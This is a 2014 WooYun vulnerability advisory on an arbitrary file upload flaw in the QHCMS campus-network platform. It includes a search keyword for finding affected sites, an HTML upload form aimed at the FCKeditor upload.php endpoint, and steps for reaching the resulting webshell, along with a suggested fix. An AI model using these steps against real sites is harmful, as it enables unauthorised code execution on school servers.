当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-050491

漏洞标题：冠邦校园网平台(QHCMS)任意文件上传漏洞

相关厂商：南京冠邦网络技术有限公司

漏洞作者： GreenVine

提交时间：2014-02-12 12:22

修复时间：2014-05-13 12:22

公开时间：2014-05-13 12:22

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-05-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

冠邦校园网平台的文件上传部分存在绕过漏洞，允许未登录的用户直接上传可执行文件。

详细说明：

http://www.topnt.cn/
1. 以“qhcmsadmin”为关键字，搜索使用冠邦校园网平台的网站。
2. 将以下代码保存为.html，手动POST一个.php文件：

<form enctype="multipart/form-data" action="http://www.EXAMPLE.com/editor/fckeditor/filemanager/upload/php/upload.php" method="post">
 <input name="FCKeditor_File" type="file">
 <input type="submit" value="Upload">
</form>


1.jpg


3. 上传成功则保存在http://www.EXAMPLE.com/images/stories/editorupload/下，使用原始文件名访问即可拿到Webshell。

2.jpg


4. 该平台提供了一键环境部署安装包，但没有做PHP安全限制，导致可以执行任意CMD。

3.jpg

漏洞证明：

2.jpg


修复方案：

FCKEditor增加用户登录状态判断，以及禁止可执行文件的上传。

版权声明：转载请注明来源 GreenVine@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝